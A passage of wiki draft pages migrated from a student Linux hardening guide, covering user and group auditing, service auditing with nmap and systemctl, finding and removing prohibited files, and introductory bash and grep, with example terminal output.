ubuntu:<hash>:19827:0:99999:7:::</syntaxhighlight>
{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Why do we need sudo here, but not /etc/passwd and /etc/group? (click to expand)
|-
|

Password hashes are ''incredibly'' sensitive information. If someone has an insecure password, it's usually trivial to find it if you have their hash. For this reason, we need root permissions (granted through <code>sudo</code>) to view the <code>/etc/shadow</code> file. In contrast, the info in <code>/etc/passwd</code> and <code>/etc/group</code> is less critical.

|}

It's beyond the scope of introductory user auditing to explain the structure of the <code>/etc/shadow</code> file-- for now, just know it exists and what its purpose is.

== Hardening ==

=== User Auditing ===

Since users are stored in <code>/etc/passwd</code>, you can use this command to get a list of all users on the system with loginable shells:

<syntaxhighlight lang="text">grep "/bin/.*sh$" /etc/passwd | cut -d: -f1</syntaxhighlight>
In a system hardening scenario, you're usually given a list of authorized users: compare that list to the actual users present.

For any users not supposed to be on the system, remove them:

<syntaxhighlight lang="text">sudo deluser <user></syntaxhighlight>
To remove their home directory too, use:

<syntaxhighlight lang="text">sudo deluser --remove-home <user></syntaxhighlight>
<code>userdel</code> also works if needs be, but <code>deluser</code> is standard. Alternatively, simply remove the user's entry in <code>/etc/passwd</code>.

If you need to add a user to the system, run:

<syntaxhighlight lang="text">sudo adduser <user></syntaxhighlight>
<code>useradd</code> also works in case <code>adduser</code> isn't available.

=== Group Auditing ===

Check the members of the sudo group:

<syntaxhighlight lang="text">getent group sudo</syntaxhighlight>
Alternatively,

<syntaxhighlight lang="text">grep sudo /etc/group</syntaxhighlight>
In a system hardening scenario, compare this to known authorized admins. To remove an unauthorized admin (but keep them on the system), do:

<syntaxhighlight lang="text">sudo deluser username sudo</syntaxhighlight>
Alternatively, you can modify the <code>/etc/group</code> file and remove the user from the <code>sudo</code> group manually.

=== Other Hardening ===

If a user has an insecure password, change it!

<syntaxhighlight lang="text">passwd <user></syntaxhighlight>
It'll then prompt you for the user's new password.

[[Category:Linux User Auditing|023]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Linux Todo

2026-09-22T05:42:45Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

<syntaxhighlight lang="text">* Application Security Settings
* Defensive Countermeasures
* Forensics Questions
* Local Policies
* Operating System Updates
* Malware
* Unwanted Software
* Uncat OS Settings

* PAM guide?

Incomplete:
* User Auditing
* Service Auditing
* Account Policies

Done:
* Prohibited Files
* Application Updates</syntaxhighlight>

[[Category:Linux|999 Linux Todo]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction to Service Auditing

2026-09-22T05:42:43Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Matthias Lee (ml2322) Last Updated: 7-17-2025

 
{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None! This is an introductory article.

|}

=== What is a service? ===

A service is a background process managed by the init system, usually systemd. Services not only provice necessary functions for the system, like <code>NetworkManager</code> or <code>auditd</code>, but can also host servers like Apache, Nginx, SSH, and more.

=== Why is this important? ===

Auditing services is important, as unwanted services may be providing remote access or sensitive data to malicious actors. Even things like SSH or Apache should be removed if not necessary, as they increase the attack surface, and can be configured to grant remote access or exfiltrate data. While this is the most common way services are abused, services can also be created to run malicious code and take advantage of running in the background, and potentially with elevated privileges.

=== How to audit services ===

There are several ways to check for malicious services, each with different benefits and drawbacks.

==== nmap ====

<code>nmap</code> (Network Mapper) is a tool to scan a host and see what ports are open. However, you can also run it on yourself (<code>localhost</code>) and see what ports are open on your own machine. This is by far the easiest way to check if there is an unauthorized port open, indicating an unwanted service is present.

Nmap doesn't come preinstalled, so you will have to install it with <code>apt</code>:

<syntaxhighlight lang="text">user@system:~$ sudo apt install nmap</syntaxhighlight>
Once nmap is installed, you can run it on yourself to check for open ports:

<syntaxhighlight lang="text">user@system:~$ nmap localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2025-07-17 10:23 PDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00018s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
631/tcp open ipp

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds </syntaxhighlight>
Here, we see that I have ports <code>22</code>, <code>80</code>, <code>139</code>, <code>445</code>, and <code>631</code> open. <code>139</code> and <code>445</code> are used for netbios discovery. These are managed by the <code>nmbd</code> service. This isn't inherently malicious and is standard on many systems, but you may want to disable it for extra security. However, <code>22</code> and <code>80</code> are used for SSH and HTTP respectively. You can disable services with systemctl, but outright removing the packages is better.

<syntaxhighlight lang="text">user@system:~$ sudo systemctl disable ssh
user@system:~$ sudo systemctl disable apache2
user@system:~$ sudo systemctl disable nginx</syntaxhighlight>
<syntaxhighlight lang="text">user@system:~$ sudo apt purge openssh-server
user@system:~$ sudo apt purge apache2
user@system:~$ sudo apt purge nginx-common</syntaxhighlight>
If you don't know the specific service running on a port, remove or disable all servers that could be running on that port.

[[Category:Linux Service Auditing|026]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Intermediate Service Auditing

2026-09-22T05:42:42Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Matthias Lee (ml2322) Last Updated: 7-17-2025

 
{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

Introduction to Service Auditing

|}

=== More robust service auditing techniques ===

==== Directly interact with systemd ====

A better way to look for unauthorized services is to look at ''all'' enabled services on the system, and see which ones are not supposed to be there. You can do this with <code>systemctl</code>:

<syntaxhighlight lang="text">user@system:~$ systemctl list-unit-files | less
UNIT FILE STATE VENDOR PRESET
proc-sys-fs-binfmt_misc.automount static enabled
-.mount generated enabled
boot-efi.mount generated enabled
dev-hugepages.mount static enabled
....
nginx.service enabled enabled</syntaxhighlight>
Here, we can see that I have <code>nginx</code> enabled.

==== Baselines ====

The one problem with the above solution is that it's tedious to look through every enabled service and see which aren't supposed to be there. The solution to this is to, on a clean machine of the same OS, export the systemctl services to a baseline:

<syntaxhighlight lang="text">user@clean-system:~$ systemctl list-unit-files > baseline.txt</syntaxhighlight>
You can then copy this file onto the machine you're working with. Now, on that machine, do the same command to export the current services to a list too:

<syntaxhighlight lang="text">user@system:~$ systemctl list-unit-files > services.txt</syntaxhighlight>
Now, you can use diff to compare them:

<syntaxhighlight lang="text">user@system:~$ diff baseline.txt services.txt
329a330
> nginx.service enabled enabled
380c381
< 377 unit files listed.
---
> 378 unit files listed.</syntaxhighlight>
And we see here that <code>nginx</code> is, again, enabled, and should be removed.

[[Category:Linux Service Auditing|027]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Linux Guide

2026-09-22T05:42:42Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

This Github repository contains the Linux guides for [https://cypat.guide/ cypat.guide].

[[Category:Linux|999 Linux Guide]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction to Prohibited Files

2026-09-22T05:42:41Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Matthias Lee (ml2322) Last Updated: 07-02-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

<li>Intermediate or Advanced Bash</li>
|}

=== What are prohibited files? ===

Prohibited files are any files that are not supposed to be on a machine. This generally includes any sort of media, documents, games, malware, programs, installers, and anything else not default and not explicitly permitted. Do note that malware, installers, and programs may be under the category of Malware or Prohibited Software, however the strategies to find prohibited files still may apply.

==== File extensions ====

Files with the following extensions may be prohibited files:

* <code>mp3</code> (audio)
* <code>mp4</code> (video)
* <code>mov</code> (video)
* <code>ogg</code> (audio)
* <code>deb</code> (program installer)
* <code>zip</code> (archive)
* <code>gz</code> (archive)
* <code>tar</code> (archive)
* <code>py</code> (script)
* <code>sh</code> (script)

=== Strategies to find prohibited files ===

==== Look manually ====

The most basic way to find prohibited files is to manually look through every user's folder for these. This can be done several ways, the most basic being <code>ls</code> to manually search their folders.

<syntaxhighlight lang="text">user@system:/home/user$ sudo ls /home/otheruser
Desktop
Documents
user@system:/home/user$ sudo ls /home/otheruser/Documents
1984_chapter_1_audiobook.mp3</syntaxhighlight>
==== Using tree ====

A slightly faster way to do this is to use the <code>tree</code> program. Tree will print a tree view of everything inside a directory, which makes it easy to filter for prohibited files. Tree isn't always installed by default so you may need to use <code>sudo apt install tree</code> to install it. Once installed, you can do <code>sudo tree /home</code>. This will print every file inside <code>/home</code>, and you can skim the results for unauthorized files.

<syntaxhighlight lang="text">user@system:/home/user$ sudo tree /home
/home
├── user
...
├── bob
│ ├── Desktop
│ ├── Documents
│ └── dQw4w9WgXcQ.mp3
...</syntaxhighlight>
=== Remediating prohibited files ===

Finding prohibited files is only one part of dealing with them, we need to get rid of them too. To do this, simply use the <code>rm</code> command and specify the file you want to delete. Since other users may own these files, you might need to use <code>sudo</code>. For example:

<syntaxhighlight lang="text">user@system:/home/user$ sudo rm /home/bob/dQw4w9WgXcQ.mp3</syntaxhighlight>

[[Category:Linux Prohibited Files|031]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Intermediate Prohibited Files

2026-09-22T05:42:40Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Matthias Lee (ml2322) Last Updated: 07-07-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

<li>Introductory Prohibited Files</li>
|}

=== More efficient strategies to find prohibited files ===

==== find ====

The <code>find</code> command is a powerful tool to search the system for files matching certain criteria. To find prohibited files with it, we can use the <code>-name</code> argument to search for all files with a specific extension. To do this, we can use a wildcard like <code>-name "*.mp3"</code> to find everything that ends in <code>.mp3</code>. However, we still need to tell <code>find</code> where to look. For example, to search for all MP3 files in <code>/home</code>, the command would be <code>find /home -name "*.mp3"</code>. NOTE: <code>*</code> is a special character in bash, so you need to put it in quotes.

<syntaxhighlight lang="text">user@system:/home/user$ sudo find /home -name "*.wav"
/home/jacob/Audio/heyy_john.wav</syntaxhighlight>
Additionally, prohibited files may not always be in the user home directories. Therefore, it's useful to search other directories or even the whole system sometimes (replace <code>/home</code> with <code>/</code> for the whole system, or some other directory). However, the more broad the search, the longer it will take, and the more false positives you will get.

=== Remediating protected prohibited files ===

Prohibited files may sometimes have restrictive permissions to prevent you from deleting them.

==== Taking ownership of the file ====

A good first step to delete a file is to take ownership of it with the <code>chown</code> command. For several files, you can use a wildcard to target them all at once. You specify <code>user:user</code>, as you change the user ownership and group ownership to yourself.

<syntaxhighlight lang="text">user@system:/home/user$ sudo chown user:user *.mp3</syntaxhighlight>
==== Setting permissions ====

The next step to take control of a file is to enable write permissions on it, with <code>chmod</code>. We will change the permissions to <code>775</code> to ensure we are able to delete it.

<syntaxhighlight lang="text">user@system:/home/user$ sudo chmod 775 *.mp3</syntaxhighlight>
==== Changing attributes ====

If the above two methods didn't enable you to delete the file, the final thing to try is to remove the immutable and append only attributes with <code>chattr</code>.

<syntaxhighlight lang="text">user@system:/home/user$ sudo chattr -ia *.mp3</syntaxhighlight>
====== Further Reading ======

* https://commandmasters.com/commands/chattr-linux/
* https://www.howtogeek.com/437958/how-to-use-the-chmod-command-on-linux/

[[Category:Linux Prohibited Files|032]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Advanced Prohibited Files

2026-09-22T05:42:40Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Matthias Lee (ml2322) Last Updated: 07-07-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

<li>Intermediate Prohibited Files</li>
|}

=== AIDE ===

The most comprehensive solution to find prohibited files is to use AIDE (Advanced Intrusion Detection Environment). AIDE works by storing a database of all files on the system, and their attributes, and it then compares your system to the backup DB, which you make on a clean VM. AIDE is the most complicated method, as it requires specific configurations, and often also requires custom filters to make the output more usable.

====== Further Reading ======

* https://aide.github.io/
* https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/security_guide/sec-using-aide

[[Category:Linux Prohibited Files|033]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Intro to Bash

2026-09-22T05:42:38Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Matthias Lee (ml2322) Last Updated: 07-02-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

In most Linux operating systems, the terminal runs a program called <code>bash</code>. This is the command processor, where you interact with the system. Some use other ones like <code>sh</code>, <code>zsh</code>, <code>fish</code>, or <code>dash</code>. However, since they are mostly similar, this guide will still apply.

=== What am I looking at? ===

When you load the terminal, you are greeted with a prompt like this:

<syntaxhighlight lang="text">user@system:/home/user$</syntaxhighlight>
This tells you who you are, the system name, the current path, and your privileges.

* <code>user</code>: Your username
* <code>system</code>: The computer's hostname
* <code>/home/user</code>: The current working directory (where you are)
* <code>$</code>: A <code>$</code> at the end signifies you are operating with regular privileges. If you are the root user, however, you will see a <code>#</code> instead (don't worry about this for now).

=== Navigating ===

Using terminal in the same directory isn't very practical, so learning to navigate to different directories is important.

==== Checking your current directory ====

To see your current directory, you can run <code>pwd</code> (print working directory), and it will print your full working directory.

<syntaxhighlight lang="text">user@system:/home/user$ pwd
/home/user</syntaxhighlight>
==== Changing directories ====

To change your directory, run the <code>cd</code> command, followed by where you want to go. If you run <code>cd</code> with no arguments, you will go to your home directory.

<syntaxhighlight lang="text">user@system:/something/else$ cd
user@system:/home/user$</syntaxhighlight>
<syntaxhighlight lang="text">user@system:/home/user$ cd /home/user/Desktop
user@system:/home/user/Desktop$</syntaxhighlight>
==== Absolute vs relative paths ====

Absolute paths are paths that start with <code>/</code>, meaning they start at the root directory of the system and specify the full path to get to the desired file. This is useful for hardcoding anything, or using something in a completely different set of directories as where you are now.

 
However, when running commands or changing directories, it's not always necessary to specify the full path from the root directory (/). Often, you can specify just a relative path, which is the path to a file or folder from where you are now. For example, if you are in <code>/home/user</code> and want to get to <code>/home/user/Desktop</code>, you don't actually have to specify that full path, you can just run <code>cd Desktop</code>. Or, if you want to access a subfolder in <code>Desktop</code>, you can just do <code>cd Desktop/subfolder</code>.

<syntaxhighlight lang="text">user@system:/home/user$ cd Desktop
user@system:/home/user/Desktop$
user@system:/home/user/Desktop$ cd subfolder/important_files
user@system:/home/user/Desktop/subfolder/important_files$</syntaxhighlight>
Additionally, if you need to go back a directory, you can use the <code>..</code> shortcut. <code>..</code> means parent directory, which means you can <code>cd</code> to it to go back, or use it in a relative path to go somewhere else.

<syntaxhighlight lang="text">user@system:/home/user/Desktop/subfolder$ cd ..
user@system:/home/user/Desktop$ cd ../Documents
user@system:/home/user/Documents</syntaxhighlight>
Another handy trick is that <code>~</code> at the start of the path signifies your home directory. For example, you can <code>cd ~</code> to go to the home directory, or you can specify <code>~/Desktop/file.txt</code> or something similar in a command instead of needing to write <code>/home/user/Desktop/file.txt</code>

=== Passing arguments ===

When you run a command, you can pass arguments in it to make it do specific things. Arguments are different per command, but there are general rules for how you have to pass them.

==== Spaces ====

Arguments are separated by a whitespace (" " or a new line). For example: <code>a_command arg_1 arg_2</code>. If you need to pass a space in the argument, however, you have two options. You can escape the space by preceding it by a backslash (<code>arg with space</code> becomes <code>arg\ with\ space</code>), or you can put the whole thing in quotes (<code>"arg with space"</code>)

==== Special characters ====

Certain characters have special meanings in bash, such as <code>$</code>, <code>\</code>, <code>{</code>, <code>}</code>, and some others. If you need to use these characters, you can escape them by preceding them with a backslash, just like with spaces. Example: (<code>$a</code> does not work as expected, but <code>\$a</code> does).

==== Flags ====

Many commands don't just take arbitrary input; they use flags to modify behavior. Flags are arguments that usually look like <code>-a</code> or <code>--example</code>. Usually, you can find information on what flags exist and what they do by specifying <code>--help</code>.

=== Basic commands ===

Here are some basic commands you can use in almost all Linux systems:

* <code>ls <dir></code>: This command lists everything in the directory you specify (<code><dir></code>). If you don't specify one, it will list everything in your current directory.
* <code>cat <files></code>: This command prints the content of every file you specify. You can specify several files, and it will concatenate them and print the result.
* <code>echo <text></code>: This just prints out whatever text you specify. Echo is unique in that if you specify several arguments, it will just print everything you specify.
* <code>mv <old_file> <new_file></code>: The <code>mv</code> command moves or renames the first file (<code><old_file></code>) to the new file (<code><new_file></code>). If the new file is the path to a directory, it will keep the file name but put it in that directory. Otherwise, it will rename it to whatever you set.
* <code>rm <file></code>: The <code>rm</code> command deletes the file specified. It allows the <code>-r</code> and <code>-f</code> flags, which remove recursively (for deleting directories) and remove forcefully (for write protected files) respectively.
* <code>gedit <file></code>: This command opens the specified file in <code>gedit</code>, the default GUI text editor for Ubuntu. Some other distros may have a different editor, so this may not always work.
* <code>whoami</code>: This will just return your username.

=== Some other tips ===

* You can use the up and down arrow keys to navigate through your recent commands; to run your last command again, just hit the up arrow and it will come back.
* <code>CTRL+A</code> and <code>CTRL+E</code> move the cursor to the beginning and end of the command respectively. This is useful if you don't have Home and End on your keyboard.
* You can hit Tab to autocomplete a command or file path so you don't have to type the whole thing.

[[Category:Linux Fundamentals|019]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Intermediate Bash

2026-09-22T05:42:37Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Matthias Lee (ml2322) Last Updated: 07-07-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

<li>Introductory bash</li>
|}

Now that you understand the basics of Bash, we can learn about some more advanced things it can do.

=== Privilege escalation ===

In linux, the hidden <code>root</code> user has special privileges. The root user can, for the most part, read, write, and change permissions on every file. Many commands can only be executed as root, since they use these more locked down files.

 
As mentioned, some commands require root privileges to run, as they modify restricted system files or interact with the system in a privileged manner. To run commands as root, you can prefix them with <code>sudo</code>. Sudo is another command that runs whatever you specified with root privileges. A common command that needs root access is <code>apt</code> for installing, removing, or modifying programs on your system.

<syntaxhighlight lang="text">user@system:/home/user$ ls /root
Permission Denied
user@system:/home/user$ sudo ls /root
1984.pdf
user@system:/home/user$ whoami
user
user@system:/home/user$ sudo whoami
root</syntaxhighlight>
=== Scripts ===

Bash isn't just for interacting with the terminal, you can script in it too. To make a bash script, put bash commands (as you would run them in the terminal) in a file with the <code>.sh</code> or <code>.bash</code> extension. While not usually required, it's good practice to put <code>#!/usr/bin/bash</code> at the top of the file, as it is required in some cases. To run a script, just run <code>bash <script></code>, and bash will execute your script.

=== Variables ===

Just like any other programming language, Bash has variables too, which you can read, create, and modify.

==== Setting variables ====

To set a variable in bash, you can either run <code>variable=value</code>, or <code>export variable=value</code>. The key difference between the two is that if you use <code>export</code>, any programs you run within bash can access the variable too. NOTE: one quirk of bash is that you can not have a space before or after the <code>=</code>.

==== Using variables ====

To use a variable, you can do <code>$<name></code>, where <code><name></code> is the variable you want to access. That will then get substituted out for the variable's value. For example, if variable <code>foo</code> is set to <code>bar</code>, <code>echo $foo</code> will print <code>bar</code>. This syntax works, but has limitations, as you can not put regular characters straight after the variable. For example, (<code>$variablehello</code>) will be interpreted as you trying to access a variable called <code>variablehello</code>, instead of accessing <code>variable</code> and taking <code>hello as additional input right after</code>. To solve this, you can use the following syntax instead: <code>${variable}</code>. This will also access the variable, <code>variable</code>, except bash knows when it ends by the curly braces. This syntax also has other uses we'll discuss later. Uniquely, if the variable doesn't exist, bash doesn't throw an error, it just treats it like the variable is blank

==== Examples ====

<syntaxhighlight lang="text">user@system:/home/user$ var=a
user@system:/home/user$ echo $var
a
user@system:/home/user$ export env_var=b
user@system:/user/user$ echo $env_var
b
user@system:/user/user$ some_command
(this command can access env_var but not var)
user@system:/user/user$ echo $varbc
(no output because varbc doesn't exist)
user@system:/user/user$ echo ${var}bc
abc</syntaxhighlight>
=== Joining Commands ===

Bash has three main ways to let you run several commands at once:

==== ; ====

Joining commands with a semicolon will make them run sequentially, no matter if they succeed or not.

==== && ====

Joining commands with <code>&&</code> will execute the second command only if the first succeeds

==== || ====

Joining commands with <code>||</code> will execute the second command only if the first fails

<syntaxhighlight lang="text">user@system:/home/user$ command_a; command_b
(both will always run)
user@system:/home/user$ command_a && command_b
(b will run only if a succeeds)
user@system:/home/user$ command_a || command_b
(b will run only if a fails)</syntaxhighlight>
====== Further Reading ======

* https://www.howtogeek.com/737563/what-is-root-on-linux/

[[Category:Linux Fundamentals|020]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Grep and Loops

2026-09-22T05:42:35Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): Kirill Shore

Last Updated: 09-23-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

== Definitions ==

Grep: a command-line utility for searching plain-text data for lines that match a given pattern.

What do we normally do when we need to find something? In typical GUI-based systems, the search bar is the main input. It can be used to find specific filetypes, or phrases within files, within the directory you are currently in. Grep serves that same purpose, but less user-friendly. It is simply like a search bar. For example: ls -al | grep hello is the same thing as typing hello into the search bar of your windows file explorer, it will simply find all files with hello on their titles (although windows also does the contents of the fies as well, I think). So, in the above command, we first listed all files (because grep only looks for things wihin a string, it doesn't just magically know you want to find files within a directory---for that you have to put your filter term in these quote thingies: ls -al | grep "hello") and then search that input for "hello", and printed all outputs with hello. Now, this may seem very basic, but in reality this is extremely useful. Linux doesn't have a simple "task manager" (depending on distro), so for many people, to do certain things requires grep. Grep is really good as a filter. Let's execute ps -ef as an example (don't worry about what it does for now):

<syntaxhighlight lang="text">kirillshore@Magma:~$ ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 00:30 ? 00:00:05 /sbin/init splash
nm-open+ 4308 4303 0 09:26 ? 00:00:04 /usr/sbin/openvpn --remote 79.127.185.165 80 udp --explicit-exit-notify --remote 79.127.185.165 51820 udp --explicit-exit-notify --remote 79.127.185.165 4569 udp
root 4579 2 0 09:26 ? 00:00:00 [psimon]
kirills+ 4589 1 16 09:26 ? 00:03:51 /snap/firefox/6738/usr/lib/firefox/firefox
kirills+ 4653 1 0 09:26 ? 00:00:00 /snap/firefox/6738/usr/lib/firefox/crashhelper 4589 9 /tmp/ 10 12
kirills+ 4695 1801 0 09:26 ? 00:00:00 /usr/libexec/xdg-desktop-portal
kirills+ 4704 1801 0 09:26 ? 00:00:01 /usr/libexec/xdg-desktop-portal-gtk
kirills+ 4753 4589 0 09:26 ? 00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -ipcHandle 0 -signalPipe 1 -initialChannelId {9344635f-1778-4e18-83fb-e8fe770c53d5} -parentPid 4589 -greo
kirills+ 4758 4753 0 09:26 ? 00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -parentBuildID 20250828192042 -prefsHandle 0:37119 -prefMapHandle 1:273460 -sandboxReporter 2 -chrootClie
kirills+ 4777 4753 3 09:26 ? 00:00:42 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:37260 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828
kirills+ 4787 4753 0 09:26 ? 00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -parentBuildID 20250828192042 -prefsHandle 0:37260 -prefMapHandle 1:273460 -sandboxReporter 2 -chrootClie
kirills+ 4818 1801 0 09:26 ? 00:00:00 /usr/bin/snap userd
kirills+ 4982 4753 0 09:26 ? 00:00:01 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:46695 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828
kirills+ 5299 4753 0 09:26 ? 00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -parentBuildID 20250828192042 -sandboxingKind 0 -prefsHandle 0:47645 -prefMapHandle 1:273460 -sandboxRepo
kirills+ 5317 4753 0 09:26 ? 00:00:06 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:43870 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828
kirills+ 5471 4753 0 09:26 ? 00:00:06 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:43870 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828
kirills+ 5582 4753 0 09:26 ? 00:00:02 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44139 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828
kirills+ 5632 4753 4 09:27 ? 00:00:56 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44139 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828
root 5912 2 0 09:29 ? 00:00:00 [kworker/1:2H]
kirills+ 6190 4753 3 09:31 ? 00:00:43 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44197 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828
kirills+ 6348 2120 0 09:31 ? 00:00:00 /usr/libexec/gvfsd-network --spawner :1.18 /org/gtk/gvfs/exec_spaw/2
kirills+ 6362 2120 0 09:31 ? 00:00:00 /usr/libexec/gvfsd-dnssd --spawner :1.18 /org/gtk/gvfs/exec_spaw/3
kirills+ 6374 1801 0 09:31 ? 00:00:00 python3 /usr/bin/wsdd --no-host --discovery --listen /run/user/1000/gvfsd/wsdd
root 6455 2 0 09:32 ? 00:00:02 [kworker/0:4-events]
root 6472 2 0 09:32 ? 00:00:00 [kworker/u8:0-ipv6_addrconf]
kirills+ 6529 2886 0 09:34 pts/2 00:00:00 bash
kirills+ 6603 1 0 09:36 ? 00:00:00 ssh-agent -s
root 6662 2 0 09:38 ? 00:00:00 [kworker/0:0-mm_percpu_wq]
root 6679 2 0 09:38 ? 00:00:00 [kworker/u9:1-i915_flip]
kirills+ 6695 4753 0 09:38 ? 00:00:04 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44197 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828
kirills+ 6756 4753 0 09:39 ? 00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44197 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828
root 6808 2 0 09:40 ? 00:00:00 [kworker/u8:1-cros_usbpd_log]
root 6843 2 0 09:41 ? 00:00:00 [kworker/1:2-i915-unordered]
kirills+ 6852 2886 0 09:41 pts/3 00:00:00 bash
root 6887 2 0 09:42 ? 00:00:00 [kworker/u9:2-i915_flip]
root 6980 2 0 09:45 ? 00:00:00 [kworker/0:1]
root 6983 2 0 09:45 ? 00:00:00 [kworker/1:0H-i915_cleanup]
root 6984 2 0 09:45 ? 00:00:00 [kworker/0:2H-kblockd]
root 7049 2 0 09:46 ? 00:00:00 [kworker/1:1-i915-unordered]
kirills+ 7050 6529 0 09:46 pts/2 00:00:00 nano grepandloops.md
kirills+ 7099 4753 0 09:48 ? 00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44247 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828
kirills+ 7129 4753 0 09:48 ? 00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -isForBrowser -prefsHandle 0:44247 -prefMapHandle 1:273460 -jsInitHandle 2:227036 -parentBuildID 20250828
root 7155 2 0 09:48 ? 00:00:00 [kworker/u8:2-events_unbound]
kirills+ 7182 6852 50 09:50 pts/3 00:00:00 ps -ef</syntaxhighlight>
We have several differen outputs for the command, but maybe the list is too long and we want to find commands for a specifc user, i.e. root. We can use grep as a filter by providing it the contents we want searched (ps -ef) and what we want to find (root)

<syntaxhighlight lang="text">kirillshore@Magma:~$ ps -ef | grep root
root 1 0 0 00:30 ? 00:00:05 /sbin/init splash
root 4579 2 0 09:26 ? 00:00:00 [psimon]
kirills+ 4758 4753 0 09:26 ? 00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -parentBuildID 20250828192042 -prefsHandle 0:37119 -prefMapHandle 1:273460 -sandboxReporter 2 -chrootClie
kirills+ 4787 4753 0 09:26 ? 00:00:00 /snap/firefox/6738/usr/lib/firefox/firefox -contentproc -parentBuildID 20250828192042 -prefsHandle 0:37260 -prefMapHandle 1:273460 -sandboxReporter 2 -chrootClie
root 5912 2 0 09:29 ? 00:00:00 [kworker/1:2H]
root 6455 2 0 09:32 ? 00:00:02 [kworker/0:4-events]
root 6472 2 0 09:32 ? 00:00:00 [kworker/u8:0-ipv6_addrconf]
root 6662 2 0 09:38 ? 00:00:00 [kworker/0:0-mm_percpu_wq]
root 6679 2 0 09:38 ? 00:00:00 [kworker/u9:1-i915_flip]
root 6808 2 0 09:40 ? 00:00:00 [kworker/u8:1-cros_usbpd_log]
root 6843 2 0 09:41 ? 00:00:00 [kworker/1:2-i915-unordered]
root 6887 2 0 09:42 ? 00:00:00 [kworker/u9:2-i915_flip]
root 6980 2 0 09:45 ? 00:00:00 [kworker/0:1]
root 6983 2 0 09:45 ? 00:00:00 [kworker/1:0H-i915_cleanup]
root 6984 2 0 09:45 ? 00:00:00 [kworker/0:2H-kblockd]
root 7049 2 0 09:46 ? 00:00:00 [kworker/1:1-i915-unordered]
root 7155 2 0 09:48 ? 00:00:00 [kworker/u8:2-events_unbound]</syntaxhighlight>
